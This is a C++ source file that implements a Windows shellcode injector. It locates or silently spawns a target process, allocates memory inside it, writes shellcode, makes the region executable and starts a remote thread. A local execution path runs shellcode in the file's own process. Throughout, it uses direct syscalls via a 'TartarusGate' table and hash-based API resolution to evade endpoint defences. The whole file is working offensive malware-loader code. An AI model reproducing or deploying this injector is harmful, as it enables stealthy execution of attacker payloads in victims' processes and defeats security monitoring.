#include "ingestion.hpp"
#include "../lib/memory/section_map.hpp"
#include "../lib/common/nt_types.hpp"
#include "../lib/common/log.hpp"
#include "../lib/common/hashes.hpp"
#include "../lib/resolve/api_resolver.hpp"

#include <cstring>
#include <cstdlib>
#include <iostream>
#include <string>

namespace Ingestion {

namespace {

constexpr ULONG kInjectAccess =
    PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;

std::string NormalizeName(std::string name) {
    for (auto& c : name) {
        if (c >= 'A' && c <= 'Z') {
            c = static_cast<char>(c + 32);
        }
    }
    if (name.size() < 4 || name.substr(name.size() - 4) != ".exe") {
        name += ".exe";
    }
    return name;
}

bool BasenameMatches(const char* imagePath, const std::string& wantNorm) {
    if (!imagePath) {
        return false;
    }
    const char* base = std::strrchr(imagePath, '\\');
    base = base ? base + 1 : imagePath;

    char lower[MAX_PATH] = {};
    strncpy_s(lower, base, _TRUNCATE);
    CharLowerA(lower);

    std::string noExt = wantNorm;
    if (noExt.size() > 4 && noExt.substr(noExt.size() - 4) == ".exe") {
        noExt = noExt.substr(0, noExt.size() - 4);
    }

    if (std::strcmp(lower, wantNorm.c_str()) == 0) {
        return true;
    }
    char lowerNoExt[MAX_PATH] = {};
    strncpy_s(lowerNoExt, lower, _TRUNCATE);
    size_t len = strlen(lowerNoExt);
    if (len > 4 && std::strcmp(lowerNoExt + len - 4, ".exe") == 0) {
        lowerNoExt[len - 4] = '\0';
    }
    return std::strcmp(lowerNoExt, noExt.c_str()) == 0;
}

bool IsNumericPid(const std::string& target, DWORD& pid) {
    if (target.empty()) {
        return false;
    }
    for (char c : target) {
        if (c < '0' || c > '9') {
            return false;
        }
    }
    pid = static_cast<DWORD>(std::strtoul(target.c_str(), nullptr, 10));
    return pid != 0;
}

bool FindPidByName(TartarusGate::SyscallTable& sc, const std::string& wantNorm, DWORD& outPid) {
    Log::Banner("Process Enum (NtQuerySystemInformation)");
    Log::Sys("SystemProcessInformation look for image=%s", wantNorm.c_str());

    ULONG bufSize = 1 << 20;
    std::vector<BYTE> buffer(bufSize);
    ULONG retLen = 0;

    NTSTATUS st = sc.NtQuerySystemInformation(
        SystemProcessInformation, buffer.data(),
        static_cast<ULONG>(buffer.size()), &retLen);
    Log::NtStatus("NtQuerySystemInformation (pass1)", st);
    Log::Dbg("buffer=%lu retLen=%lu", bufSize, retLen);

    if (st == static_cast<NTSTATUS>(0xC0000004)) {
        Log::Dbg("STATUS_INFO_LENGTH_MISMATCH — resize + retry");
        buffer.resize(retLen + 0x4000);
        st = sc.NtQuerySystemInformation(
            SystemProcessInformation, buffer.data(),
            static_cast<ULONG>(buffer.size()), &retLen);
        Log::NtStatus("NtQuerySystemInformation (pass2)", st);
    }

    if (!NT_SUCCESS(st)) {
        Log::NtStatus("NtQuerySystemInformation", st);
        return false;
    }

    size_t scanned = 0;
    auto* entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(buffer.data());
    for (;;) {
        ++scanned;
        if (entry->ImageName.Buffer && entry->ImageName.Length > 0) {
            char name[MAX_PATH] = {};
            WideCharToMultiByte(CP_ACP, 0, entry->ImageName.Buffer,
                entry->ImageName.Length / static_cast<int>(sizeof(WCHAR)),
                name, MAX_PATH - 1, nullptr, nullptr);

            if (BasenameMatches(name, wantNorm)) {
                outPid = static_cast<DWORD>(reinterpret_cast<ULONG_PTR>(entry->UniqueProcessId));
                Log::Sys("Found PID %lu for %s (image=%s) after scanning %zu entries",
                    outPid, wantNorm.c_str(), name, scanned);
                return outPid != 0;
            }
        }
        if (entry->NextEntryOffset == 0) {
            break;
        }
        entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(
            reinterpret_cast<BYTE*>(entry) + entry->NextEntryOffset);
    }
    Log::Dbg("no match for %s (scanned %zu processes)", wantNorm.c_str(), scanned);
    return false;
}

HANDLE OpenProcessSyscall(TartarusGate::SyscallTable& sc, DWORD pid) {
    Log::Sys("NtOpenProcess PID=%lu DesiredAccess=0x%08lX "
             "(CREATE_THREAD|QUERY|VM_OP|VM_WRITE|VM_READ)",
        pid, static_cast<unsigned long>(kInjectAccess));

    OBJECT_ATTRIBUTES_NT oa{};
    InitObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);

    CLIENT_ID_NT cid{};
    cid.UniqueProcess = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(pid));
    cid.UniqueThread  = nullptr;

    HANDLE h = nullptr;
    NTSTATUS st = sc.NtOpenProcess(&h, kInjectAccess, &oa, &cid);
    Log::NtStatus("NtOpenProcess", st);
    if (!NT_SUCCESS(st)) {
        return nullptr;
    }
    Log::Sys("NtOpenProcess OK handle=%p", h);
    return h;
}

HANDLE OpenProcessWin32(DWORD pid) {
    Log::Dbg("fallback OpenProcess (Win32 hash-resolved) PID=%lu", pid);
    auto* k32 = ApiResolver::GetKernel32();
    if (!k32) {
        Log::Dbg("kernel32 base null");
        return nullptr;
    }
    using OpenProcess_t = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
    auto* pOpen = reinterpret_cast<OpenProcess_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_OpenProcess));
    if (!pOpen) {
        Log::Dbg("OpenProcess export resolve failed");
        return nullptr;
    }
    HANDLE h = pOpen(kInjectAccess, FALSE, pid);
    if (!h) {
        Log::Dbg("OpenProcess failed GetLastError=%lu", GetLastError());
    } else {
        Log::Sys("OpenProcess OK handle=%p", h);
    }
    return h;
}

bool SpawnHeadless(const std::wstring& exeName, RemoteTarget& out) {
    auto* k32 = ApiResolver::GetKernel32();
    if (!k32) {
        return false;
    }

    using SearchPathW_t = DWORD(WINAPI*)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPWSTR, LPWSTR*);
    using CreateProcessW_t = BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES,
        LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
    using CloseHandle_t = BOOL(WINAPI*)(HANDLE);

    auto* pSearch = reinterpret_cast<SearchPathW_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_SearchPathW));
    auto* pCreate = reinterpret_cast<CreateProcessW_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_CreateProcessW));
    auto* pClose = reinterpret_cast<CloseHandle_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));

    if (!pSearch || !pCreate || !pClose) {
        Log::Warn("Spawn: SearchPathW/CreateProcessW hash resolve failed");
        return false;
    }

    wchar_t pathBuf[MAX_PATH] = {};
    wchar_t* filePart = nullptr;
    if (!pSearch(nullptr, exeName.c_str(), nullptr, MAX_PATH, pathBuf, &filePart)) {
        Log::Warn("Spawn: executable not found on PATH: %ls", exeName.c_str());
        return false;
    }

    Log::Sys("Spawn: resolved %ls", pathBuf);

    STARTUPINFOW si{};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    PROCESS_INFORMATION pi{};
    const DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW;

    if (!pCreate(pathBuf, nullptr, nullptr, nullptr, FALSE, flags, nullptr, nullptr, &si, &pi)) {
        Log::Warn("Spawn: CreateProcessW failed (%lu)", GetLastError());
        return false;
    }

    out.hProcess = pi.hProcess;
    out.hThread  = pi.hThread;
    out.pid      = pi.dwProcessId;
    out.spawned  = true;

    Log::Ok("Spawned headless PID %lu (%ls)", out.pid, exeName.c_str());
    return true;
}

bool StageRemote(
    TartarusGate::SyscallTable& sc,
    HANDLE hProcess,
    const std::vector<BYTE>& shellcode,
    PVOID& remoteBase)
{
    Log::Banner("Remote Stage (alloc + write + protect)");
    PVOID base = nullptr;
    SIZE_T region = SectionMap::PageAlign(shellcode.size());
    Log::Sys("NtAllocateVirtualMemory: Process=%p Size=%zu (page-aligned) Type=COMMIT|RESERVE Prot=PAGE_READWRITE",
        hProcess, static_cast<size_t>(region));

    NTSTATUS st = sc.NtAllocateVirtualMemory(
        hProcess, &base, 0, &region,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    Log::NtStatus("remote NtAllocateVirtualMemory", st);

    if (!NT_SUCCESS(st) || !base) {
        return false;
    }
    Log::Sys("remote RW region base=%p size=%zu", base, static_cast<size_t>(region));

    SIZE_T written = 0;
    Log::Sys("NtWriteVirtualMemory: dest=%p len=%zu", base, shellcode.size());
    st = sc.NtWriteVirtualMemory(
        hProcess, base,
        const_cast<PVOID>(static_cast<const void*>(shellcode.data())),
        shellcode.size(), &written);
    Log::NtStatus("remote NtWriteVirtualMemory", st);
    Log::Dbg("bytes written=%zu expected=%zu", static_cast<size_t>(written), shellcode.size());

    if (!NT_SUCCESS(st) || written != shellcode.size()) {
        return false;
    }

    ULONG old = 0;
    PVOID prot = base;
    SIZE_T protSize = region;
    Log::Sys("NtProtectVirtualMemory: base=%p size=%zu NewProt=PAGE_EXECUTE_READ (W^X)",
        base, static_cast<size_t>(protSize));
    st = sc.NtProtectVirtualMemory(hProcess, &prot, &protSize, PAGE_EXECUTE_READ, &old);
    Log::NtStatus("remote NtProtectVirtualMemory", st);
    if (!NT_SUCCESS(st)) {
        return false;
    }
    Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));

    remoteBase = base;
    Log::Sys("Remote RX at %p (%zu bytes written)", base, static_cast<size_t>(written));
    return true;
}

bool ExecuteRemoteThread(HANDLE hProcess, PVOID entry) {
    Log::Banner("Remote Execute (CreateRemoteThread)");
    auto* k32 = ApiResolver::GetKernel32();
    if (!k32) {
        Log::Dbg("kernel32 base null");
        return false;
    }

    using CreateRemoteThread_t = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
        LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
    using CloseHandle_t = BOOL(WINAPI*)(HANDLE);

    auto* pCRT = reinterpret_cast<CreateRemoteThread_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_CreateRemoteThread));
    auto* pClose = reinterpret_cast<CloseHandle_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));

    if (!pCRT || !pClose) {
        Log::Warn("CreateRemoteThread hash resolve failed");
        return false;
    }
    Log::Sys("CreateRemoteThread resolved pCRT=%p process=%p start=%p", pCRT, hProcess, entry);

    DWORD tid = 0;
    HANDLE hThread = pCRT(hProcess, nullptr, 0,
        reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);

    if (!hThread) {
        Log::Warn("CreateRemoteThread failed (%lu)", GetLastError());
        return false;
    }

    Log::Ok("Remote thread TID %lu at entry %p", tid, entry);
    Log::Dbg("closing remote thread handle %p (thread continues)", hThread);
    pClose(hThread);
    return true;
}

bool ResumePrimary(RemoteTarget& target) {
    if (!target.spawned || !target.hThread) {
        return true;
    }

    auto* k32 = ApiResolver::GetKernel32();
    auto* pResume = reinterpret_cast<DWORD(WINAPI*)(HANDLE)>(
        ApiResolver::ResolveExport(k32, Hashes::H_ResumeThread));
    if (!pResume) {
        return false;
    }

    const DWORD rc = pResume(target.hThread);
    Log::Sys("ResumeThread primary -> %lu", rc);
    return rc != static_cast<DWORD>(-1);
}

} // namespace

bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out) {
    Log::Banner("Acquire Target");
    Log::Info("raw target arg='%s'", target.c_str());
    out = {};

    DWORD pid = 0;
    if (IsNumericPid(target, pid)) {
        Log::Info("Target parsed as numeric PID %lu", pid);
    } else {
        const std::string norm = NormalizeName(target);
        Log::Dbg("normalized process name='%s'", norm.c_str());
        if (!FindPidByName(sc, norm, pid)) {
            Log::Info("Process '%s' not running — spawning headless", norm.c_str());
            std::wstring wname(norm.begin(), norm.end());
            if (!SpawnHeadless(wname, out)) {
                return false;
            }
            return true;
        }
        Log::Info("Target process '%s' -> PID %lu", norm.c_str(), pid);
    }

    out.hProcess = OpenProcessSyscall(sc, pid);
    if (!out.hProcess) {
        Log::Dbg("syscall open failed — trying Win32 OpenProcess");
        out.hProcess = OpenProcessWin32(pid);
    }
    if (!out.hProcess) {
        Log::Err("Cannot open PID %lu", pid);
        return false;
    }

    out.pid = pid;
    out.spawned = false;
    Log::Sys("AcquireTarget done: PID=%lu handle=%p", out.pid, out.hProcess);
    return true;
}

void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target) {
    if (target.hThread) {
        sc.NtClose(target.hThread);
        target.hThread = nullptr;
    }
    if (target.hProcess) {
        sc.NtClose(target.hProcess);
        target.hProcess = nullptr;
    }
}

bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode) {
    if (!sc.initialized || !target.hProcess || shellcode.empty()) {
        return false;
    }

    PVOID remoteBase = nullptr;
    if (!StageRemote(sc, target.hProcess, shellcode, remoteBase)) {
        return false;
    }

    Log::Sys("remote RX=%p PID=%lu technique=alloc+write+protect", remoteBase, target.pid);

    if (!ExecuteRemoteThread(target.hProcess, remoteBase)) {
        return false;
    }

    if (!ResumePrimary(target)) {
        Log::Warn("ResumeThread failed (injection may still run)");
    }

    return true;
}

static bool StageViaVirtualAlloc(
    TartarusGate::SyscallTable& sc,
    const std::vector<BYTE>& shellcode,
    PVOID& outExec)
{
    Log::Banner("Local Stage (NtAllocateVirtualMemory W^X)");
    PVOID base = nullptr;
    SIZE_T size = shellcode.size();
    Log::Sys("NtAllocateVirtualMemory: self Process size=%zu Prot=PAGE_READWRITE",
        static_cast<size_t>(size));
    NTSTATUS st = sc.NtAllocateVirtualMemory(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    Log::NtStatus("NtAllocateVirtualMemory", st);
    if (!NT_SUCCESS(st) || !base) {
        return false;
    }
    Log::Sys("local RW base=%p allocated=%zu", base, static_cast<size_t>(size));

    std::memcpy(base, shellcode.data(), shellcode.size());
    Log::Dbg("memcpy shellcode %zu bytes -> %p", shellcode.size(), base);

    ULONG old = 0;
    PVOID prot = base;
    SIZE_T protSize = size;
    Log::Sys("NtProtectVirtualMemory: NewProt=PAGE_EXECUTE_READ (W^X)");
    st = sc.NtProtectVirtualMemory(
        GetCurrentProcess(), &prot, &protSize, PAGE_EXECUTE_READ, &old);
    Log::NtStatus("NtProtectVirtualMemory", st);
    if (!NT_SUCCESS(st)) {
        PVOID freeBase = base;
        sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &size, MEM_RELEASE);
        Log::Dbg("freed failed region");
        return false;
    }
    Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));

    outExec = base;
    return true;
}

bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode) {
    Log::Banner("RunLocal");
    Log::Info("shellcode=%zu bytes", shellcode.size());
    PVOID execMem = nullptr;

    if (StageViaVirtualAlloc(sc, shellcode, execMem)) {
        Log::Sys("local RX=%p technique=NtAllocateVirtualMemory W^X", execMem);
        const bool ok = SectionMap::ExecuteLocal(sc, execMem);
        Log::Dbg("ExecuteLocal returned %s — freeing region", ok ? "OK" : "FAIL");
        SIZE_T freeSize = shellcode.size();
        PVOID freeBase = execMem;
        NTSTATUS st = sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &freeSize, MEM_RELEASE);
        Log::NtStatus("NtFreeVirtualMemory", st);
        return ok;
    }

    Log::Dbg("VirtualAlloc path failed — fallback NtCreateSection/MapView");
    SectionMap::MappedRegion region{};
    if (!SectionMap::StageLocal(sc, shellcode, region)) {
        return false;
    }

    Log::Sys("local RX=%p technique=NtMapViewOfSection W^X size=%zu",
        region.localView, static_cast<size_t>(region.viewSize));
    const bool ok = SectionMap::ExecuteLocal(sc, region.localView);
    Log::Dbg("cleanup section map (ok=%d)", ok ? 1 : 0);
    SectionMap::Cleanup(sc, region, nullptr);
    return ok;
}

} // namespace Ingestion